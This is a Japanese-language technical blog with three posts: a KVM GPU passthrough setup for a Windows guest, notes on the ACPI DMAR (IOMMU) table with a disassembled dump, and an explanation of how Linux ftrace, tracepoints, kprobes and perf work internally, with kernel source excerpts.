2018-03-25

KVM GPUパススルー設定

linux kvm gpu

環境

i7-4790 (with VT-d)
GeForce GTX 1080ti
Linux Mint 18.3 Sylvia (Ubuntu xenial base) Cinnamon

やりたいこと

KVM上のWindowsにGPUをパススルーで接続する
- 現在GPUはcuda計算用に利用 (ディスプレイはi915)．Windowsを使うときだけパススルーさせたい

手順

archのwikiに丁寧書いてあります．

以下，自分がやった方法

事前準備

デフォルトだとxenialのapt repositoryのlibvirtのバージョンが古いので，ppa:jacob/virtualisationを追加しておく
grubのエントリにiommu=pt intel_iommu=onを追加
qemu, libvirt, ovmf, virt-managerあたりのインストール
libvirtd, virtlogd serviceをenable

Windowsインストール

virt-managerからwindowsをとりあえずインストール
- ファームウェアをUEFIにする設定がGUIから何故かできなかったので，virsh editから直接指定

<os>
...
     <loader readonly='yes' type='pflash'>/usr/share/OVMF/OVMF_CODE-pure-efi.fd</loader>
...
</os>

virt-managerのAdd Hardware > PCI Host DeviceからGPUデバイスを追加
vendor idの偽装 ( これをしないとnvidiaのドライバをインストールしてもError 43が出てドライバを認識しない)

<features>
    <hyperv>
        ...
        <vendor_id state='on' value='whatever'/>
        ...
    </hyperv>
    ...
    <kvm>
    <hidden state='on'/>
    </kvm>
<feature>

virtual displayなど，不要なデバイスを削除
- これをしないとwindowsを起動させてもTian coreのロゴの画面から先に進まなかった
windowsを起動後，nvidiaのドライバをインストール
- なお，virsh start で起動したら事前にvfio-pciドライバをデバイスに割り当てなくても，自動で割り当ててくれた．また，virsh shutdownをした場合自動的にドライバは元のドライバに戻った．(virt suspendではvfio-pciのまま)
- キーボードやマウスを使うには，それらを接続したUSBが繋がっているPCIスロットをパススルーさせる．あるいはsynergyのようなソフトウェアを利用する
  - 自分はそもそも普通別端末からsshで作業するので，PC本体のUSBはwindows側でパススルーさせた
  - オーディオなども必要に応じてパススルー
    - 自分はUSBのbluetoothアダプタをパススルーで接続してそれ経由で利用

結果

なんかインストール時に微妙にはまったりしたけど無事に動きました＼(^o^)／

2018-03-10

ACPI DMARメモ

linux acpi

IOMMUの情報はACPIのDMARに格納されている
DMARのデータ構造は，Intel VT-d ドキュメント (Intel® Virtualization Technology for Directed I/O) の8章に書いてある
ざっくり以下のような構造
- DMAR (DMA Remapping Table)
  - DRHD (DMA Remapping Hardware Unite Definition) (n個)
  - RMRR (Reserved Memory Region Reporting) (m個)
  - ATSR (ATS Capability Reporintg) (l個)
DRHDがIOMMUの情報
- IOMMUが対象とするPCIデバイスの番号が格納される
  - SegmentがPCI segment番号, PCI Bus NumberとPCI Pathが bus, device, function 番号
- Flags = 0x1 (INCLUDE_PCI_ALL) のとき，PCI segmentに含まれる全てのPCI EndpointがこのIOMMUの対象
  - ただし，別のIOMMUで既に対象となっているデバイスは除く
RMRRはDMAに使えない予約済みメモリ領域の情報

DMAR tableの例 (Core i7-7770, ASRock Z270 Extreme4)

% sudo cp /sys/firmware/acpi/tables/DMAR
% iasl -d DMAR
% cat DMAR.dsl
/*
 * Intel ACPI Component Architecture
 * AML/ASL+ Disassembler version 20160108-64
 * Copyright (c) 2000 - 2016 Intel Corporation
 * 
 * Disassembly of DMAR, Sat Mar 10 21:19:40 2018
 *
 * ACPI Data Table [DMAR]
 *
 * Format: [HexOffset DecimalOffset ByteLength]  FieldName : FieldValue
 */

[000h 0000   4]                    Signature : "DMAR"    [DMA Remapping table]
[004h 0004   4]                 Table Length : 000000A8
[008h 0008   1]                     Revision : 01
[009h 0009   1]                     Checksum : D2
[00Ah 0010   6]                       Oem ID : "INTEL "
[010h 0016   8]                 Oem Table ID : "KBL "
[018h 0024   4]                 Oem Revision : 00000001
[01Ch 0028   4]              Asl Compiler ID : "INTL"
[020h 0032   4]        Asl Compiler Revision : 00000001

[024h 0036   1]           Host Address Width : 26
[025h 0037   1]                        Flags : 01
[026h 0038  10]                     Reserved : 00 00 00 00 00 00 00 00 00 00

[030h 0048   2]                Subtable Type : 0000 [Hardware Unit Definition]
[032h 0050   2]                       Length : 0018

[034h 0052   1]                        Flags : 00
[035h 0053   1]                     Reserved : 00
[036h 0054   2]           PCI Segment Number : 0000
[038h 0056   8]        Register Base Address : 00000000FED90000

[040h 0064   1]            Device Scope Type : 01 [PCI Endpoint Device]
[041h 0065   1]                 Entry Length : 08
[042h 0066   2]                     Reserved : 0000
[044h 0068   1]               Enumeration ID : 00
[045h 0069   1]               PCI Bus Number : 00

[046h 0070   2]                     PCI Path : 02,00


[048h 0072   2]                Subtable Type : 0000 [Hardware Unit Definition]
[04Ah 0074   2]                       Length : 0020

[04Ch 0076   1]                        Flags : 01
[04Dh 0077   1]                     Reserved : 00
[04Eh 0078   2]           PCI Segment Number : 0000
[050h 0080   8]        Register Base Address : 00000000FED91000

[058h 0088   1]            Device Scope Type : 03 [IOAPIC Device]
[059h 0089   1]                 Entry Length : 08
[05Ah 0090   2]                     Reserved : 0000
[05Ch 0092   1]               Enumeration ID : 02
[05Dh 0093   1]               PCI Bus Number : F0

[05Eh 0094   2]                     PCI Path : 1F,00


[060h 0096   1]            Device Scope Type : 04 [Message-capable HPET Device]
[061h 0097   1]                 Entry Length : 08
[062h 0098   2]                     Reserved : 0000
[064h 0100   1]               Enumeration ID : 00
[065h 0101   1]               PCI Bus Number : 00

[066h 0102   2]                     PCI Path : 1F,00


[068h 0104   2]                Subtable Type : 0001 [Reserved Memory Region]
[06Ah 0106   2]                       Length : 0020

[06Ch 0108   2]                     Reserved : 0000
[06Eh 0110   2]           PCI Segment Number : 0000
[070h 0112   8]                 Base Address : 000000007E091000
[078h 0120   8]          End Address (limit) : 000000007E0B0FFF

[080h 0128   1]            Device Scope Type : 01 [PCI Endpoint Device]
[081h 0129   1]                 Entry Length : 08
[082h 0130   2]                     Reserved : 0000
[084h 0132   1]               Enumeration ID : 00
[085h 0133   1]               PCI Bus Number : 00

[086h 0134   2]                     PCI Path : 14,00


[088h 0136   2]                Subtable Type : 0001 [Reserved Memory Region]
[08Ah 0138   2]                       Length : 0020

[08Ch 0140   2]                     Reserved : 0000
[08Eh 0142   2]           PCI Segment Number : 0000
[090h 0144   8]                 Base Address : 000000007F800000
[098h 0152   8]          End Address (limit) : 000000008FFFFFFF

[0A0h 0160   1]            Device Scope Type : 01 [PCI Endpoint Device]
[0A1h 0161   1]                 Entry Length : 08
[0A2h 0162   2]                     Reserved : 0000
[0A4h 0164   1]               Enumeration ID : 00
[0A5h 0165   1]               PCI Bus Number : 00

[0A6h 0166   2]                     PCI Path : 02,00


Raw Table Data: Length 168 (0xA8)

  0000: 44 4D 41 52 A8 00 00 00 01 D2 49 4E 54 45 4C 20  // DMAR......INTEL 
  0010: 4B 42 4C 20 00 00 00 00 01 00 00 00 49 4E 54 4C  // KBL ........INTL
  0020: 01 00 00 00 26 01 00 00 00 00 00 00 00 00 00 00  // ....&...........
  0030: 00 00 18 00 00 00 00 00 00 00 D9 FE 00 00 00 00  // ................
  0040: 01 08 00 00 00 00 02 00 00 00 20 00 01 00 00 00  // .......... .....
  0050: 00 10 D9 FE 00 00 00 00 03 08 00 00 02 F0 1F 00  // ................
  0060: 04 08 00 00 00 00 1F 00 01 00 20 00 00 00 00 00  // .......... .....
  0070: 00 10 09 7E 00 00 00 00 FF 0F 0B 7E 00 00 00 00  // ...~.......~....
  0080: 01 08 00 00 00 00 14 00 01 00 20 00 00 00 00 00  // .......... .....
  0090: 00 00 80 7F 00 00 00 00 FF FF FF 8F 00 00 00 00  // ................
  00A0: 01 08 00 00 00 00 02 00                          // ........

[Hardware Unit Definition] がDRHD
このマシンだと2つIOMMUがあって，一つが 0000:02:00のデバイスを管理，もう一つがセグメント0000の全てのPCIデバイスを管理
- ちなみに，0000:00:02.0は VGA compatible controller: Intel Corporation Device 5912 (rev 04)
- なぜこれが別のIOMMUなのかは分からない

2018-03-04

perf, ftraceのしくみ

linux perf ftrace bpf

Linuxのトレーサーであるperfやftraceのツールの使い方に関する情報は結構ありますが，構造に関してはあまり見つけられなかったため，ここに簡単に調べたことをまとめようかと思います．（ツールの使い方の説明はあんまりしないです．）

この文章はLinux 4.15のソースに基づいています．

全体像
ftrace
perf
perfとeBPF
ftraceとeBPF
その他トレーシングツール
まとめ

全体像

そもそもLinuxのトレーサーとひとえに言ってもperfとかftraceとかkprobeとかuprobeとかいろいろありすぎて一体どうなっているんだという感じなので簡単に関係を図示しています．

f:id:mm_i:20180304224739p:plain

実際はいろいろと複雑に絡み合ってるのでなかなか可視化するのが難しいですが，まぁ一つの見方だと思ってください．

大雑把には以下のように分類できます．

ユーザランドのツール
- perf, perf-tools, bcc, trace-cmd
インタフェース
- perf_event_open(2), bpf(2), ioctl(2), debugfs (tracefs), ...
トレーサー, フレームワーク
- perf, ftrace, eBPF
event, data source
- Performance counter
- tracepoint
- kprobe
- uprobe
- mcount

ftrace

ftraceは主にカーネルのコードのトレースを目的としたフレームワークです． ftraceという名前の通り，function tracingが主機能の一つですが，実際には以下のようなトレーサーが含まれています．

function
- 関数呼び出しの記録
functrion_graph
- 関数の戻りも記録
event tracer
- tracepoint, kprobe, uprobe
latency tracer
- wakeup
  - wakeup時間までのトレース
- irqsoff
  - 割り込み停止時間トレース
- ...
mmio tracer
...

ftraceとのやりとりはユーザスペースからはdebugfsを通じておこないます． debugfsは /sys/kernel/debug/ にマウントされていることが多いと思います．特にdebugfsの中のtracing/ディレクトリ以下がftrace部分です． Linux 4.1から，（主にセキュリティのため）debugfsをマウントしたくない場合でもftraceが利用できるように，tracefsが導入されています．これは従来のdebugfsのtracing部分を分離したものです． debugfsがマウントされている場合，互換性のためにdebug/tracingにtracefsがマウントされるようになっています．

ftraceを利用する場合はまず使用するトレーサーを選択します．トレーサーはトレース結果をリングバッファへ出力します．このバッファへはtracefs経由でアクセスすることが可能です． ftraceにはトレース結果のフィルタリングや，あるイベント時にトレースを開始するなどの機能があります．

トレーサーのコードは主に kernel/trace以下に存在します．

tracefsによるftraceの使い方は以下が参考になります．

ftrace - Function Tracer, https://github.com/torvalds/linux/blob/v4.15/Documentation/trace/ftrace.txt
Steven Rostedt, Debugging the kernel using Ftrace - part 1, https://lwn.net/Articles/365835/, 2009.
Steven Rsotedt, Secrets of the Ftrace function tracer, https://lwn.net/Articles/370423/, 2010.
mhiramat, Ftraceでカーネルの一部の処理を追いかける方法, https://qiita.com/mhiramat/items/42a6af4f3c289ad37095, 2016.
Andrej Yemelianov, Kernel Tracing with Ftrace, https://blog.selectel.com/kernel-tracing-ftrace/, 2017.

以下ではfunction tracing, tracepint, kprobeについて簡単に説明します．

function trace

function tracingはgccのプロファイリング機能を利用します．

gccでは-pgオプションをつけてコンパイルすると，関数呼び出しがmcountという関数の呼び出しに変換されます．

例:

# w/o -pg
% echo "int main(){return 0;}" | gcc -x c -O0 -S -fno-asynchronous-unwind-tables -o- -
        .file   ""
        .text
        .globl  main
        .type   main, @function
main:
        pushq   %rbp
        movq    %rsp, %rbp
        movl    $0, %eax
        popq    %rbp
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu 7.2.0-8ubuntu3) 7.2.0"
        .section        .note.GNU-stack,"",@progbits

# w/ -pg
% echo "int main(){return 0;}" | gcc -pg -x c -O0 -S -fno-asynchronous-unwind-tables -o- -
        .file   ""
        .text
        .globl  main
        .type   main, @function
main:
        pushq   %rbp
        movq    %rsp, %rbp
1:      call    *mcount@GOTPCREL(%rip)
        movl    $0, %eax
        popq    %rbp
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu 7.2.0-8ubuntu3) 7.2.0"
        .section        .note.GNU-stack,"",@progbits

ユーザランドのプログラムの場合，glibcに含まれるmcountの関数とリンクされます．このmcountの関数はいわゆるトランポリンコードとして動作し，mcountの関数内で記録をとることで関数呼び出しがトレースできます．

ftraceのfunction traceも基本は同じですが，カーネル内の全ての関数呼び出しをmcountを経由してしまうと性能が大幅に低下することは想像に難くありません．そこで，ftraceでは-pg付きでコンパイルしたのち，mcountのcall命令をnopに置き換えるということをします（これはCONFIG_DYNAMIC_FTRACE=yのときですが，普通ftraceを使う場合は有効にするはず）．この処理はカーネルビルド時におこないます．どこにmcountのcall命令が存在したかというのはカーネル内の__start_mcount_locと__end_mcount_locの間に保持しておきます．

% sudo cat /proc/kallsyms | grep mcount
ffffffffbc83d1c0 T __start_mcount_loc
ffffffffbc886f90 T __stop_mcount_loc

この情報を使ってftraceでfunction tracingする際に対象箇所のコードを書き換えてmcountを呼ぶようにします．こうすることで，ftraceを利用していないときのオーバヘッドをほぼ0に抑えています．

参考までに，手元の環境でfunction traceのオンオフでddを実行した際の実行時間は以下のようになりました．

トレースオフ

# current_tracer = nop
% time dd if=/dev/zero of=/dev/null bs=1 count=500k
512000+0 records in
512000+0 records out
512000 bytes (512 kB, 500 KiB) copied, 0.471769 s, 1.1 MB/s
dd if=/dev/zero of=/dev/null bs=1 count=500k  0.13s user 0.34s system 99% cpu 0.473 total

トレースオン

# current_tracder = function_graph
% time dd if=/dev/zero of=/dev/null bs=1 count=500k
512000+0 records in
512000+0 records out
512000 bytes (512 kB, 500 KiB) copied, 5.88682 s, 87.0 kB/s
dd if=/dev/zero of=/dev/null bs=1 count=500k  0.17s user 5.72s system 99% cpu 5.898 total

トレースオン時は実行時間が10倍以上になっています．（ただし，実際にトレースする際は，全ての関数をトレースしても訳がわからなくなるので，フィルタリングを掛けたり一部の処理部分だけトレースを有効化すると思います）．

もう少し具体的な構造の説明は以下が参考になります．

function tracer guts, https://github.com/torvalds/linux/tree/master/Documentation/trace/ftrace-design.txt
Steven Rostedt, Ftrace Kernel Hooks: More than just tracing, https://www.linuxplumbersconf.org/2014/ocw/system/presentations/1773/original/ftrace-kernel-hooks-2014.pdf, 2014.
- mcountの動的書き換え方法

x86でのmcountの実装は arch/x86/kernel/ftrace.c, arch/x86/kernel/ftrace_64.Sにあります．

余談ですが，Linux 4.0から導入されたライブパッチはこのmcountのフックを利用しています． (mcountからパッチされた関数を呼び出す)．

Livepatch, https://github.com/torvalds/linux/blob/master/Documentation/livepatch/livepatch.txt

tracepoint (static event)

tracepointはカーネルのコード内で簡単にprobe functionを定義できるようにするための仕組みです．やっていることを単純化すると，ソース内で以下のようにprobe functinonを呼び出します．

if(event_on){
    callback()
}

実際には一つのトレースポイントに複数の関数を登録することが可能です．（カーネルモジュールからも登録が可能です(例)）．カーネル内の1000以上の箇所でtracepointが定義されています．

tracepointeの定義の詳細はマクロが多用されていて非常に分かりにくいですが，どうも以下のようになっているみたいです．

例: sched_process_exec

https://github.com/torvalds/linux/blob/v4.15/include/trace/events/sched.h#L301

TRACE_EVENT(sched_process_exec,

    TP_PROTO(struct task_struct *p, pid_t old_pid,
         struct linux_binprm *bprm),

    TP_ARGS(p, old_pid, bprm),

    TP_STRUCT__entry(
        __string(   filename,   bprm->filename   )
        __field(    pid_t,      pid     )
        __field(    pid_t,      old_pid     )
    ),

    TP_fast_assign(
        __assign_str(filename, bprm->filename);
        __entry->pid     = p->pid;
        __entry->old_pid = old_pid;
    ),

    TP_printk("filename=%s pid=%d old_pid=%d", __get_str(filename),
          __entry->pid, __entry->old_pid)
);

これらのマクロは include/linux/tracepoint.hで定義されています．各マクロの細かい説明はこちらをみてください．

TRACE_EVENTマクロは最終的にDECLARE_TRACEとして展開されます．

https://github.com/torvalds/linux/blob/v4.15/include/linux/tracepoint.h#L185

#define __DECLARE_TRACE(name, proto, args, cond, data_proto, data_args) \
   extern struct tracepoint __tracepoint_##name;         \
   static inline void trace_##name(proto)               \
   {                               \
       if (static_key_false(&__tracepoint_##name.key))       \
           __DO_TRACE(&__tracepoint_##name,        \
               TP_PROTO(data_proto),           \
               TP_ARGS(data_args),         \
               TP_CONDITION(cond), 0);            \
       if (IS_ENABLED(CONFIG_LOCKDEP) && (cond)) {       \
           rcu_read_lock_sched_notrace();          \
           rcu_dereference_sched(__tracepoint_##name.funcs);\
           rcu_read_unlock_sched_notrace();        \
       }                           \
   }
    ...

この分岐では static-key と呼ばれる仕組みを利用しています． if (static_key_false(&__tracepoint_##name.key))の部分は最初nopとしてコンパイルされます．後からtracepointを有効にするとき，その部分を__DO_TRACE()を実行するようなjmp命令に書き換えます． (ちなみに，最新のドキュメントにはstatic_key_false()はdeprecatedと書いてありますが，普通に利用されてますね..)

__DO_TRACE()の中でコールバック関数を呼び出します．

ここで定義される trace_##name() をフックしたい場所から呼びます． sched_process_execは以下から呼ばれています．

https://github.com/torvalds/linux/blob/v4.15/fs/exec.c#L1683

...
    if (ret >= 0) {
        audit_bprm(bprm);
        trace_sched_process_exec(current, old_pid, bprm);
        ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
        proc_exec_connector(current);
    }
...

で，これだけだとtracepointが定義しただけで，それに対応するコールバック関数は何も登録されていません．

sched_process_execを定義しているsched.hでは，ヘッダの末尾で以下のファイルをincludeしています．

https://github.com/torvalds/linux/blob/v4.15/include/trace/events/sched.h#L576

/* This part must be outside protection */
#include <trace/define_trace.h>

このdefine_trace.hですが，trace/trace_events.hをインクルードしたのち，もう一度sched.hをインクルードします． (TRACE_INCLUDEの部分でincludeされます)

https://github.com/torvalds/linux/blob/v4.15/include/trace/define_trace.h

...
#include <trace/trace_events.h>
#include <trace/perf.h>
...
#define TRACE_HEADER_MULTI_READ

#include TRACE_INCLUDE(TRACE_INCLUDE_FILE)
...

trace_events.hの中で，DECLARE_EVENT_CLASSなどのマクロが再定義されます．従って，shced.hを2回目にインクルードした際はこれらのマクロが適用されます．

https://github.com/torvalds/linux/blob/v4.15/include/trace/trace_events.h#L757

#undef DECLARE_EVENT_CLASS
#define DECLARE_EVENT_CLASS(call, proto, args, tstruct, assign, print) \
_TRACE_PERF_PROTO(call, PARAMS(proto));                    \
static char print_fmt_##call[] = print;                  \
static struct trace_event_class __used __refdata event_class_##call = { \
   .system         = TRACE_SYSTEM_STRING,          \
   .define_fields      = trace_event_define_fields_##call, \
   .fields         = LIST_HEAD_INIT(event_class_##call.fields),\
   .raw_init       = trace_event_raw_init,         \
   .probe          = trace_event_raw_event_##call,     \
   .reg            = trace_event_reg,          \
   _TRACE_PERF_INIT(call)                      \
};

#undef DEFINE_EVENT
#define DEFINE_EVENT(template, call, proto, args)          \
                                   \
static struct trace_event_call __used event_##call = {           \
   .class          = &event_class_##template,      \
   {                               \
       .tp         = &__tracepoint_##call,     \
   },                              \
   .event.funcs        = &trace_event_type_funcs_##template,   \
   .print_fmt      = print_fmt_##template,         \
   .flags          = TRACE_EVENT_FL_TRACEPOINT,        \
};                                 \
static struct trace_event_call __used                    \
__attribute__((section("_ftrace_events"))) *__event_##call = &event_##call

DEFINE_EVENTマクロにより，_ftrace_eventsセクションにstruct trace_event_callのデータが格納されます．

ftraceの初期化時にこの情報を利用してトレースポイントのイベントをリストに追加します．

https://github.com/torvalds/linux/blob/v4.15/kernel/trace/trace_events.c#L3085

static __init int event_trace_enable(void)
...
    for_each_event(iter, __start_ftrace_events, __stop_ftrace_events) {

        call = *iter;
        ret = event_init(call);
        if (!ret)
            list_add(&call->list, &ftrace_events);

eventの有効化はftrace_event_enable_disableでおこないます．

https://github.com/torvalds/linux/blob/v4.15/kernel/trace/trace_events.c#L456

static int __ftrace_event_enable_disable(struct trace_event_file *file,
                     int enable, int soft_disable)
{
...
            ret = call->class->reg(call, TRACE_REG_REGISTER, file);
...

このreg()は，上のDECLARE_EVENT_CLASSで定義したtrace_event_reg()です．

https://github.com/torvalds/linux/blob/v4.15/kernel/trace/trace_events.c#L286

int trace_event_reg(struct trace_event_call *call,
            enum trace_reg type, void *data)
{
    struct trace_event_file *file = data;

    WARN_ON(!(call->flags & TRACE_EVENT_FL_TRACEPOINT));
    switch (type) {
    case TRACE_REG_REGISTER:
        return tracepoint_probe_register(call->tp,
                         call->class->probe,
                         file);
    case TRACE_REG_UNREGISTER:
...

ここのtracepoint_probe_register()により，ftraceのコールバック関数がトレースポイントに登録されます．関数を最初に登録する際はsatatic keyの分岐の部分も書き換えます．

ちなみに，call->class->probeというのはDECLARE_EVENT_CLASSによって定義されたtrace_event_raw_event_##callで，これは以下のようになっています．

https://github.com/torvalds/linux/blob/v4.15/include/trace/trace_events.h#L698

static notrace void                            \
trace_event_raw_event_##call(void *__data, proto)          \
{                                   \
    struct trace_event_file *trace_file = __data;          \
    struct trace_event_data_offsets_##call __maybe_unused __data_offsets;\
    struct trace_event_buffer fbuffer;             \
    struct trace_event_raw_##call *entry;              \
    int __data_size;                       \
                                    \
    if (trace_trigger_soft_disabled(trace_file))          \
        return;                           \
                                    \
    __data_size = trace_event_get_offsets_##call(&__data_offsets, args); \
                                    \
    entry = trace_event_buffer_reserve(&fbuffer, trace_file,    \
                 sizeof(*entry) + __data_size);       \
                                    \
    if (!entry)                           \
        return;                           \
                                    \
    tstruct                             \
                                    \
    { assign; }                         \
                                    \
    trace_event_buffer_commit(&fbuffer);                \
}

trace_event_buffer_commit()によってring bufferへ出力をおこないます．

ftraceではtracepointのeventのオンオフだけでなく，eventに応じたトレースの開始/終了の切り替えなどができるようになっています．

tracepointに関しては以下に資料があります．

Using the Linux Kernel Tracepoints, https://github.com/torvalds/linux/blob/master/Documentation/trace/tracepoints.txt
Event Tracing, https://github.com/torvalds/linux/blob/master/Documentation/trace/events.txt
Steven Rostedt, Using the TRACE_EVENT() macro (Part 1), https://lwn.net/Articles/379903/, 2010.
Steven Rostedt, Using the TRACE_EVENT() macro (Part 2), https://lwn.net/Articles/381064/, 2010.
Steven Rostedt, Using the TRACE_EVENT() macro (Part 3), https://lwn.net/Articles/383362/, 2010.

kprobe (dynamic event)

kprobeはカーネルコード内に動的にフックポイントを追加するための仕組みです．アイディアの基本はフックしたい箇所のコードをブレークポイント命令で書き換えることです．これにより命令単位でカーネル内のほぼ全ての場所のフックが可能になります． (kprobe自身のコードなどはフック不可能です．NOKPROBE_SYMBOLマクロを使うとそのアドレスが_kprobe_blacklistセクションに登録され，そのアドレス範囲に対するkprobeが禁止されます)．

kprobeとtracepointを比較すると，kprobeはtracepointの上位互換のような気もしますが，kprobeはアドレス単位でフックをおこなうためバイナリに依存してしまうのに対し，tracepointの方はバイナリ変更の影響を受けません．（ただし，カーネル開発者側的には一度導入したtracepointを保守する責任が発生するといえます）． tracepiontの方がデータ構造の取得などは楽かと思います．またブレークポイントのフックの方がtracepintのif文によるフックよりかはオーバヘッドが大きいと思います（といっても影響が出るほど大きくはないと思います）．あとはkprobeは動的にコードを書き換えるため，そういう意味ではtracepointの方が安定性があるといえます．とはいってもkprobeも多分本体に導入されてから10年近く経ちますし，特に利用に問題はないかと思います．

kprobeの使い方は，samples/kprobesが参考になります．ブレークポイント箇所の命令を実行する前に呼ばれるpre handlerと，命令実行後に呼ばれるpost handlerを設定してregister_kprobe()を呼びます．

ftraceの観点からみると，tracefsによってkprobeを設定しようとする際，kprobe_events_opsに従ってprobes_write => trace_parse_run_command => trace_run_command の中で createfnのコールバック関数が呼ばれ，結局 create_trace_kprobeが実行されます．ここでregister_trace_kprobe => register_kprobe_event => __register_trace_kprobe の中で register_kprobe()されます．

このときkprobeに登録される関数は，alloc_trace_kprobeの中で tk->rp.kp.pre_handler = kprobe_dispatcher;として kprobe_dispathcerが設定されています． kprobe_dispathcerの中から呼ばれる __kprobe_trace_funcでring bufferへの書き込みをおこなっています．

また，kretprobeという，関数のreturnをフックするための仕組みも提供されています．関数のreturnをフックしたいというよくあるニーズに答えるために導入されたんだと思います．実装的には単純にretをkprobeでフックするのではなく，カーネルのentryをkprobeでフックし，その際にスタック上の戻りアドレスを書き換えてret時にkretprobeのトランポリンコードを呼ぶようにしているようです（かしこい）．

また，uprobeというkprobeのユーザランド版もあります．ちなみに，uprobeはinodeと紐づける形で登録します．

kprobe/uprobeに関しては以下が参考になります．

Sudhanshu Goswami, An introduction to KProbes, https://lwn.net/Articles/132196/, 2005.
Kprobe-based Event Tracing, https://github.com/torvalds/linux/blob/v4.15/Documentation/trace/kprobetrace.txt
kretprobe: Linuxの備忘録とか・・・, http://wiki.bit-hive.com/north/pg/kretprobe, 2012.
Uprobe-tracer: Uprobe-based Event Tracing, https://github.com/torvalds/linux/blob/v4.15/Documentation/trace/uprobetracer.txt

その他のtracer

mmio tracerに関して，簡単に処理を追ってみます．

struct tracerでtracefsでやりとりする際の関数の定義をしているようです．

mmiotraceの例

初期化
- mmio_trace_init() => enable_mmiotrace()
ioremap, iounmap時にtraceする
ioremap_trace_core => __trace_mmiotrace_map() => mmio_trace_mapping()
- call_filter_check_discard でフィルタリング
この後 trace_buffer_unlock_commit() => trace_buffer_unlock_commit_regs() => __buffer_unlock_commit() => ring_buffer_write() でring bufferへ書き込み

trace-cmd

実際にftraceを利用する場合には，ftraceのフロントエンドであるtrace-cmdが利用できます． ftraceのメンテナであるSteven Rostedt氏が直々に開発しています．

man page of trace-cmd, http://man7.org/linux/man-pages/man1/trace-cmd.1.html
Steven Rostedt, Ftrace Profiling, https://events.static.linuxfound.org/sites/events/files/slides/collab-2015-ftrace-profiling.pdf, 2015.

ちなみに，githubのリポジトリの方はかなり古いので注意が必要です．

perf

perfとはLinuxに存在するパフォーマンスモニタリングのための機能です．perf_eventともいいます． perfという名称のユーザスペース用ツールも開発されており，単にperfと言った場合はこのツールを指すことが多いかと思います．ちょっとややこしいので，ここではカーネルの機能の方はperf_eventと書くことにします．

perf（の前進）はもともとPerformance counters for Linux (PCL) という名前だったみたいなので，察するにCPUのperfomance counterへのアクセス手段の提供が当初の目的だったんだと思います．ただし，今ではpermance counter以外のイベントにも対応しています． perf listコマンドによって対応しているイベントの確認ができます．

perf_eventではeventを以下のように分類しています．

PERF_TYPE_HARDWARE
PERF_TYPE_HW_CACHE
PERF_TYPE_RAW
PERF_TYPE_SOFTWARE
PERF_TYPE_TRACEPOINT
PERF_TYPE_BREAKPOINT

hardware, hw_cache, raw がCPUのperfomance counterのイベントに対応します．

perf_event_open(2)システムコールによって，一つのperf eventに対応したfile descriptorが入手できます．このfdに対してread()などをすることでeventのカウンタにアクセスします．

また，perfではイベントのカウンタに2種類あります．一つはcounting counterで，イベントの発生回数を得るために利用します．read()するとカウンタの値が得られます．もう一つがsampling counterで，このカウンタの場合，N回のイベントごとに設定したコールバック関数を呼びます． perf statで得られるのはcounting counterの値，perf recordで得られるのはsamping counterの結果です．

ちなみにこれは余談ですが，perf_event_open(2)のman pageはシステムコールの中でおそらくもっとも長いです．

% git clone https://github.com/mkerrisk/man-pages && cd man-pages/man2
% find ./ -name "*.2" | parallel wc {} | sort -nr | head
3331 13388 88727 ./perf_event_open.2
2796 12584 78237 ./ptrace.2
2281  9245 58337 ./keyctl.2
2102  9984 58088 ./fcntl.2
1938  9262 58178 ./futex.2
1756  7672 45635 ./open.2
1598  6891 43519 ./prctl.2
1368  6316 37622 ./clone.2
1179  5042 32922 ./bpf.2
1100  5122 33092 ./seccomp.2

ユーザスペースツールのperfの使い方は以下が参考になります．

https://github.com/torvalds/linux/tree/master/tools/perf/Documentation
- perf toolのドキュメント (man page)
Brendan Gregg, perf Examples, http://www.brendangregg.com/perf.html
- 神資料
perf wiki, https://perf.wiki.kernel.org/index.php/Main_Page
Paul J. Drongowski, PERF tutorial: Finding execution hot spots, http://sandsoftwaresound.net/perf/perf-tutorial-hot-spots/

PERF_TYPE_HARDWARE, HW_CACHE, RAW

これらのイベントはCPUのperfomance counterのアクセスに利用します． perfomance counterとはCPUについているイベントのモニタリング機能のことです． IntelのCPUの場合SDMの18,19章あたりに書いてあります．どんなイベントが取れるのかはCPUごとに異なりますが，特に一般的なイベントをPERF_EVENT_HARDWARE, PERF_EVENT_HW_CACHEに分類しています． PERF_EVENT_HARDWARE, PERF_EVENT_HW_CACHEには以下のようなものがあります．

% sudo perf list | grep -i hardware
  branch-instructions OR branches                    [Hardware event]
  branch-misses                                      [Hardware event]
  bus-cycles                                         [Hardware event]
  cache-misses                                       [Hardware event]
  cache-references                                   [Hardware event]
  cpu-cycles OR cycles                               [Hardware event]
  instructions                                       [Hardware event]
  ref-cycles                                         [Hardware event]
  L1-dcache-load-misses                              [Hardware cache event]
  L1-dcache-loads                                    [Hardware cache event]
  L1-dcache-stores                                   [Hardware cache event]
  L1-icache-load-misses                              [Hardware cache event]
  LLC-load-misses                                    [Hardware cache event]
  LLC-loads                                          [Hardware cache event]
  LLC-store-misses                                   [Hardware cache event]
  LLC-stores                                         [Hardware cache event]
  branch-load-misses                                 [Hardware cache event]
  branch-loads                                       [Hardware cache event]
  dTLB-load-misses                                   [Hardware cache event]
  dTLB-loads                                         [Hardware cache event]
  dTLB-store-misses                                  [Hardware cache event]
  dTLB-stores                                        [Hardware cache event]
  iTLB-load-misses                                   [Hardware cache event]
  iTLB-loads                                         [Hardware cache event]
  node-load-misses                                   [Hardware cache event]
  node-loads                                         [Hardware cache event]
  node-store-misses                                  [Hardware cache event]
  node-stores                                        [Hardware cache event]

IntelのCPUの話を少しだけすると，intelのcpuではperfomance counterのeventをarchitectural performance eventsとnon-architectural performance events (model-specific performance events)の二つに分けています． architectgural performance counter（クロック数とか)の値はIA32_FIXED_CTR[0-2]レジスタから取得可能です．それ以外のeventは，IA32_PERFEVTSELxレジスタでどのeventを取りたいかを設定します．そのイベントの結果はIA32_PMCxに格納されます．これらのレジスタは全てMSRです．従って，wrmsr/rdmsrでアクセスします．また，CR4.PCE (Performance-Monitoring Counter enable) = 1のとき，rdpmc命令を使ってユーザランドからIA32_PMCxの値を読むことが可能です．rdpmcの方がrdmsrよりも早いらしいです（参考）．

